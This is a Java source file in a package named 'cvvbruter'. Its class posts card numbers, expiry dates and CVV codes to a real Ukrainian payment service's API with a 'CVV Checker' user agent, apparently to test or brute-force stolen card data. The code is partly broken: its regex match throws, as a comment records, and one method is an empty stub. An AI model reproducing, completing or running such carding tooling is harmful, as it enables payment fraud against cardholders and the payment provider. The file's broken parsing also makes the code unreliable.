package cvvbruter;
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.ProtocolException;
import java.net.URL;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.net.ssl.HttpsURLConnection;
public class Portmone {
protected final String _API_ = "https://www.portmone.com.ua/r3/ru/api/index/index/uid/d75c995c18fdc7b4b4f1217669138944";
protected final String _REQUEST_ACCOUNT_ = "addBalanceByRequest{_LOGIN_}{_PASSWORD_}{_CARD_ID_}{_CVV_}{_PAID_}{_NUMBER_ID_}";
protected final String _PAY_ = "pay{_COMPANY_ID_}{_CARD_NUMBER_}{_CARD_EXPIRE_}{_CARD_CVV_}{_PAID_}{_NUMBER_}";
protected final Pattern str = Pattern.compile("(.*?)");
public String pay(String card, String expire, String cvv2, String company, String paid, String number) {
String req = this.sendPost(this._API_, this._PAY_
.replace("{_COMPANY_ID_}", company)
.replace("{_CARD_NUMBER_}", card)
.replace("{_CARD_EXPIRE_}", expire)
.replace("{_CARD_CVV_}", cvv2)
.replace("{_PAID_}", paid)
.replace("{_NUMBER_}", number)
); //faultCode0faultStringНесуществующий номер телефона. [Телефон/контракт=987624511]
Matcher m = str.matcher(req);
return m.group(0); //Exception in thread "main" java.lang.IllegalStateException: No match found
}
public String payAccount(String login, String password, String card, String cvv2, String paid, String number) {
return "";
}
protected String sendPost(String uri, String data) {
URL url = null;
HttpsURLConnection conn = null;
DataOutputStream output = null;
StringBuilder resp = new StringBuilder();
try {
url = new URL(uri);
} catch (MalformedURLException ex) {
ex.printStackTrace();
}
try {
conn = (HttpsURLConnection) url.openConnection();
} catch (IOException ex) {
ex.printStackTrace();
}
try {
conn.setRequestMethod("POST");
} catch (ProtocolException ex) {
ex.printStackTrace();
}
conn.setRequestProperty("Content-length", String.valueOf(data.length()));
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
conn.setRequestProperty("User-Agent", "CVV Checker");
conn.setDoOutput(true);
conn.setDoInput(true);
try {
output = new DataOutputStream(conn.getOutputStream());
output.writeBytes(data);
output.close();
InputStreamReader i = new InputStreamReader(conn.getInputStream(), "UTF-8");
BufferedReader input = new BufferedReader(i);
for(int c = input.read(); c != -1; c = input.read())
resp.append((char) c);
input.close();
} catch (IOException ex) {
ex.printStackTrace();
}
return resp.toString();
}
}